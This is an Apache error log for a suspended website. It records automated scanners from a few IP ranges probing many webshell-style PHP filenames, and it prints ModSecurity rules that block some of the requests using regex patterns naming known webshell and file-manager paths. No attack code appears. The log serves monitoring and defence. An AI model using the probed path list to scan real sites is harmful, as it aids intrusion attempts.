[Tue Apr 21 15:36:37.113909 2026] [:error] [pid 35321:tid 35398] [client 45.86.200.236:36465] [client 45.86.200.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aecpBTeHLhVUuu8cVXymXwAAAE4"]
[Tue Apr 21 15:36:38.771375 2026] [:error] [pid 4823:tid 4864] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Tue Apr 21 15:36:39.043294 2026] [:error] [pid 4823:tid 4876] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Tue Apr 21 15:36:39.321796 2026] [:error] [pid 4823:tid 4857] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/term.php
[Tue Apr 21 15:36:39.597135 2026] [:error] [pid 4823:tid 4865] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Tue Apr 21 15:36:39.868531 2026] [:error] [pid 4823:tid 4855] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php
[Tue Apr 21 15:36:40.155293 2026] [:error] [pid 4823:tid 4863] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Tue Apr 21 15:36:40.430986 2026] [:error] [pid 4823:tid 4854] [client 185.82.72.9:41567] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Tue Apr 21 15:36:40.704588 2026] [:error] [pid 4823:tid 4855] [client 185.82.72.9:41567] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aecpCPc8mke3PfHqsxG4TwAAAYI"]
[Tue Apr 21 15:36:41.250013 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Tue Apr 21 15:36:41.537342 2026] [:error] [pid 4823:tid 4864] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Tue Apr 21 15:36:41.814339 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Tue Apr 21 15:36:42.108703 2026] [:error] [pid 4823:tid 4864] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/readme.php
[Tue Apr 21 15:36:42.411451 2026] [:error] [pid 4823:tid 4859] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Tue Apr 21 15:36:42.701811 2026] [:error] [pid 4823:tid 4875] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/marijuana.php
[Tue Apr 21 15:36:42.980934 2026] [:error] [pid 4823:tid 4863] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Tue Apr 21 15:36:43.251253 2026] [:error] [pid 4823:tid 4853] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/bk.php
[Tue Apr 21 15:36:43.531564 2026] [:error] [pid 4823:tid 4865] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Tue Apr 21 15:36:43.802022 2026] [:error] [pid 4823:tid 4870] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Tue Apr 21 15:36:44.092542 2026] [:error] [pid 4823:tid 4864] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Tue Apr 21 15:36:44.374914 2026] [:error] [pid 4823:tid 4855] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-sigunq.php
[Tue Apr 21 15:36:44.660790 2026] [:error] [pid 4823:tid 4860] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Tue Apr 21 15:36:44.937480 2026] [:error] [pid 4823:tid 4865] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php
[Tue Apr 21 15:36:45.216456 2026] [:error] [pid 4823:tid 4875] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Tue Apr 21 15:36:45.513822 2026] [:error] [pid 4823:tid 4864] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/fw.php
[Tue Apr 21 15:36:45.790961 2026] [:error] [pid 4823:tid 4859] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Tue Apr 21 15:36:46.067296 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/sym.php
[Tue Apr 21 15:36:51.768786 2026] [:error] [pid 35321:tid 35394] [client 45.86.200.223:64641] [client 45.86.200.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2026/"] [unique_id "aecpEzeHLhVUuu8cVXynowAAAEo"]
[Tue Apr 21 15:36:52.790707 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/sys.php
[Tue Apr 21 15:36:53.083925 2026] [:error] [pid 4823:tid 4871] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Tue Apr 21 15:36:53.359139 2026] [:error] [pid 4823:tid 4865] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Tue Apr 21 15:36:53.634418 2026] [:error] [pid 4823:tid 4868] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Tue Apr 21 15:36:53.911210 2026] [:error] [pid 4823:tid 4856] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-settings.php
[Tue Apr 21 15:36:54.196545 2026] [:error] [pid 4823:tid 4861] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Tue Apr 21 15:36:54.493342 2026] [:error] [pid 4823:tid 4853] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Tue Apr 21 15:36:54.783541 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-db.php
[Tue Apr 21 15:36:55.063053 2026] [:error] [pid 4823:tid 4861] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Tue Apr 21 15:36:55.344514 2026] [:error] [pid 4823:tid 4871] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Tue Apr 21 15:36:55.627188 2026] [:error] [pid 4823:tid 4855] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/cmd.php
[Tue Apr 21 15:36:55.911867 2026] [:error] [pid 4823:tid 4865] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Tue Apr 21 15:36:56.204775 2026] [:error] [pid 4823:tid 4864] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/xl2023.php
[Tue Apr 21 15:36:56.479680 2026] [:error] [pid 4823:tid 4867] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-head.php
[Tue Apr 21 15:36:56.754607 2026] [:error] [pid 4823:tid 4863] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php
[Tue Apr 21 15:36:57.030151 2026] [:error] [pid 4823:tid 4853] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Tue Apr 21 15:36:57.309406 2026] [:error] [pid 4823:tid 4859] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/go.php
[Tue Apr 21 15:36:57.587977 2026] [:error] [pid 4823:tid 4866] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Tue Apr 21 15:36:57.875730 2026] [:error] [pid 4823:tid 4871] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/in.php
[Tue Apr 21 15:36:58.150868 2026] [:error] [pid 4823:tid 4875] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php
[Tue Apr 21 15:36:58.421463 2026] [:error] [pid 4823:tid 4877] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Tue Apr 21 15:36:58.693185 2026] [:error] [pid 4823:tid 4874] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Tue Apr 21 15:36:58.974183 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Tue Apr 21 15:36:59.245381 2026] [:error] [pid 4823:tid 4871] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-activate.php
[Tue Apr 21 15:36:59.527595 2026] [:error] [pid 4823:tid 4855] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/a.php
[Tue Apr 21 15:36:59.801714 2026] [:error] [pid 4823:tid 4877] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/randkeyword.php
[Tue Apr 21 15:37:00.075684 2026] [:error] [pid 4823:tid 4874] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Tue Apr 21 15:37:00.352730 2026] [:error] [pid 4823:tid 4857] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Tue Apr 21 15:37:00.649960 2026] [:error] [pid 4823:tid 4863] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php
[Tue Apr 21 15:37:00.927782 2026] [:error] [pid 4823:tid 4868] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Tue Apr 21 15:37:01.218873 2026] [:error] [pid 4823:tid 4860] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Tue Apr 21 15:37:01.505759 2026] [:error] [pid 4823:tid 4870] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-info.php
[Tue Apr 21 15:37:01.778997 2026] [:error] [pid 4823:tid 4863] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-config-sample.php
[Tue Apr 21 15:37:02.061442 2026] [:error] [pid 4823:tid 4853] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Tue Apr 21 15:37:02.338902 2026] [:error] [pid 4823:tid 4860] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/functions.php
[Tue Apr 21 15:37:02.612284 2026] [:error] [pid 4823:tid 4866] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Tue Apr 21 15:37:02.885138 2026] [:error] [pid 4823:tid 4857] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Tue Apr 21 15:37:03.187428 2026] [:error] [pid 4823:tid 4876] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Tue Apr 21 15:37:03.528001 2026] [:error] [pid 4823:tid 4872] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Tue Apr 21 15:37:03.799058 2026] [:error] [pid 4823:tid 4869] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-set.php
[Tue Apr 21 15:37:12.810795 2026] [:error] [pid 4823:tid 4869] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Tue Apr 21 15:37:13.093103 2026] [:error] [pid 4823:tid 4871] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/header.php
[Tue Apr 21 15:37:13.375009 2026] [:error] [pid 4823:tid 4872] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Tue Apr 21 15:37:13.652836 2026] [:error] [pid 4823:tid 4876] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/upload.php
[Tue Apr 21 15:37:13.943595 2026] [:error] [pid 4823:tid 4857] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Tue Apr 21 15:37:14.268494 2026] [:error] [pid 4823:tid 4866] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Tue Apr 21 15:37:14.551544 2026] [:error] [pid 4823:tid 4877] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Tue Apr 21 15:37:14.826262 2026] [:error] [pid 4823:tid 4872] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Tue Apr 21 15:37:15.122167 2026] [:error] [pid 4823:tid 4863] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_info.php
[Tue Apr 21 15:37:15.423026 2026] [:error] [pid 4823:tid 4855] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/xml.php
[Tue Apr 21 15:37:15.712909 2026] [:error] [pid 4823:tid 4873] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/by.php
[Tue Apr 21 15:37:15.991968 2026] [:error] [pid 4823:tid 4854] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Tue Apr 21 15:37:16.263047 2026] [:error] [pid 4823:tid 4869] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Tue Apr 21 15:37:16.553975 2026] [:error] [pid 4823:tid 4875] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Tue Apr 21 15:37:16.830143 2026] [:error] [pid 4823:tid 4856] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/cjfuns.php
[Tue Apr 21 15:37:17.101233 2026] [:error] [pid 4823:tid 4868] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Tue Apr 21 15:37:17.374976 2026] [:error] [pid 4823:tid 4858] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/thoms.php
[Tue Apr 21 15:37:17.650028 2026] [:error] [pid 4823:tid 4855] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php
[Tue Apr 21 15:37:17.932106 2026] [:error] [pid 4823:tid 4873] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/media.php
[Tue Apr 21 15:37:18.484878 2026] [:error] [pid 4823:tid 4869] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/bs.php
[Tue Apr 21 15:37:18.753931 2026] [:error] [pid 4823:tid 4861] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/checkbox.php
[Tue Apr 21 15:37:19.041952 2026] [:error] [pid 4823:tid 4856] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/export.php
[Tue Apr 21 15:37:19.311156 2026] [:error] [pid 4823:tid 4868] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/privacy.php
[Tue Apr 21 15:37:19.586023 2026] [:error] [pid 4823:tid 4853] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/tools.php
[Tue Apr 21 15:37:19.859879 2026] [:error] [pid 4823:tid 4864] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Tue Apr 21 15:37:20.147149 2026] [:error] [pid 4823:tid 4866] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Tue Apr 21 15:37:20.431383 2026] [:error] [pid 4823:tid 4869] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/sts.php
[Tue Apr 21 15:37:20.717349 2026] [:error] [pid 4823:tid 4861] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/st.php
[Tue Apr 21 15:37:20.986030 2026] [:error] [pid 4823:tid 4870] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/GA13.php
[Tue Apr 21 15:37:21.541848 2026] [:error] [pid 4823:tid 4867] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Tue Apr 21 15:37:21.814187 2026] [:error] [pid 4823:tid 4857] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/locks.php
[Tue Apr 21 15:37:22.360513 2026] [:error] [pid 4823:tid 4860] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Tue Apr 21 15:37:22.637691 2026] [:error] [pid 4823:tid 4871] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-uploads.php
[Tue Apr 21 15:37:22.907005 2026] [:error] [pid 4823:tid 4868] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-files.php
[Tue Apr 21 15:37:23.191901 2026] [:error] [pid 4823:tid 4867] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/t.php
[Tue Apr 21 15:37:23.474623 2026] [:error] [pid 4823:tid 4872] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Tue Apr 21 15:37:23.743691 2026] [:error] [pid 4823:tid 4877] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Tue Apr 21 15:37:24.026398 2026] [:error] [pid 4823:tid 4866] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php
[Tue Apr 21 15:37:24.305630 2026] [:error] [pid 4823:tid 4865] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa.php
[Tue Apr 21 15:37:24.581858 2026] [:error] [pid 4823:tid 4874] [client 45.86.200.227:40563] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-zx.php
[Tue Apr 21 15:37:25.113323 2026] [:error] [pid 35321:tid 35386] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Tue Apr 21 15:37:25.397537 2026] [:error] [pid 35321:tid 35384] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/fiyhxaae.php
[Tue Apr 21 15:37:25.676960 2026] [:error] [pid 35321:tid 35387] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/gfd.php
[Tue Apr 21 15:37:25.955815 2026] [:error] [pid 35321:tid 35389] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/rh.php
[Tue Apr 21 15:37:26.240124 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-temp.php
[Tue Apr 21 15:37:26.519114 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/Okxob.php
[Tue Apr 21 15:37:26.797764 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/x123x.php
[Tue Apr 21 15:37:27.073521 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Tue Apr 21 15:37:27.345275 2026] [:error] [pid 35321:tid 35399] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php
[Tue Apr 21 15:37:27.871891 2026] [:error] [pid 35321:tid 35404] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/eetu.php
[Tue Apr 21 15:37:28.427638 2026] [:error] [pid 35321:tid 35388] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/finami.php
[Tue Apr 21 15:37:28.706470 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/htto.php
[Tue Apr 21 15:37:28.980541 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/options-head.php
[Tue Apr 21 15:37:29.273606 2026] [:error] [pid 35321:tid 35397] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/rithin.php
[Tue Apr 21 15:37:29.560409 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Tue Apr 21 15:37:29.837134 2026] [:error] [pid 35321:tid 35400] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/wefile.php
[Tue Apr 21 15:37:30.107924 2026] [:error] [pid 35321:tid 35397] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/8xyz.php
[Tue Apr 21 15:37:30.692705 2026] [:error] [pid 35321:tid 35397] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Tue Apr 21 15:37:30.966601 2026] [:error] [pid 35321:tid 35405] [client 185.82.72.104:61867] File does not exist: /usr/local/apache/htdocs/suspended-page/asf.php
[Tue Apr 21 15:37:31.233514 2026] [:error] [pid 35321:tid 35390] [client 185.82.72.104:61867] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/execute.php"] [unique_id "aecpOzeHLhVUuu8cVXyrtAAAAEY"]
[Tue Apr 21 15:37:32.390371 2026] [:error] [pid 53832:tid 53850] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/bengi.php
[Tue Apr 21 15:37:32.671077 2026] [:error] [pid 53832:tid 53851] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/0xD.php
[Tue Apr 21 15:37:32.956688 2026] [:error] [pid 53832:tid 53859] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-upload.php
[Tue Apr 21 15:37:33.233852 2026] [:error] [pid 53832:tid 53837] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/ew.php
[Tue Apr 21 15:37:33.516689 2026] [:error] [pid 53832:tid 53845] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-aa.php
[Tue Apr 21 15:37:33.807224 2026] [:error] [pid 53832:tid 53857] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-freya.php
[Tue Apr 21 15:37:34.079824 2026] [:error] [pid 53832:tid 53847] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blogs.php
[Tue Apr 21 15:37:34.372506 2026] [:error] [pid 53832:tid 53842] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Tue Apr 21 15:37:34.653514 2026] [:error] [pid 53832:tid 53849] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/src_api.php
[Tue Apr 21 15:37:34.933197 2026] [:error] [pid 53832:tid 53840] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/aves.php
[Tue Apr 21 15:37:35.503653 2026] [:error] [pid 53832:tid 53836] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Tue Apr 21 15:37:36.536127 2026] [:error] [pid 53832:tid 53836] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Tue Apr 21 15:37:36.814137 2026] [:error] [pid 53832:tid 53847] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/vanda.php
[Tue Apr 21 15:37:37.088538 2026] [:error] [pid 53832:tid 53855] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/clss.php
[Tue Apr 21 15:37:37.643972 2026] [:error] [pid 53832:tid 53841] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/torsa1.php
[Tue Apr 21 15:37:37.924102 2026] [:error] [pid 53832:tid 53836] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fclass.php
[Tue Apr 21 15:37:38.196590 2026] [:error] [pid 53832:tid 53849] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-ccv.php
[Tue Apr 21 15:37:38.474735 2026] [:error] [pid 53832:tid 53838] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/xoot.php
[Tue Apr 21 15:37:38.755839 2026] [:error] [pid 53832:tid 53837] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/w-a.php
[Tue Apr 21 15:37:39.039481 2026] [:error] [pid 53832:tid 53845] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/toine.php
[Tue Apr 21 15:37:39.313550 2026] [:error] [pid 53832:tid 53855] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/fault.php
[Tue Apr 21 15:37:39.596861 2026] [:error] [pid 53832:tid 53854] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/x2x.php
[Tue Apr 21 15:37:39.888924 2026] [:error] [pid 53832:tid 53846] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/h02ugyh.php
[Tue Apr 21 15:37:40.181077 2026] [:error] [pid 53832:tid 53844] [client 185.82.72.109:37805] File does not exist: /usr/local/apache/htdocs/suspended-page/ftp.php
[Tue Apr 21 15:37:40.727407 2026] [:error] [pid 53832:tid 53847] [client 185.82.72.109:37805] [client 185.82.72.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aecpRNzkuxsE_OhM9UIXWAAAAkw"]
[Tue Apr 21 15:37:41.265517 2026] [:error] [pid 35320:tid 35334] [client 185.82.72.107:30253] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aecpRYJW6fdXWO6agMEcngAAAAQ"]
[Tue Apr 21 15:37:42.087881 2026] [:error] [pid 35322:tid 35369] [client 45.86.200.217:58811] [client 45.86.200.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aecpRqPoAfV40BTfVKzC5AAAAIw"]
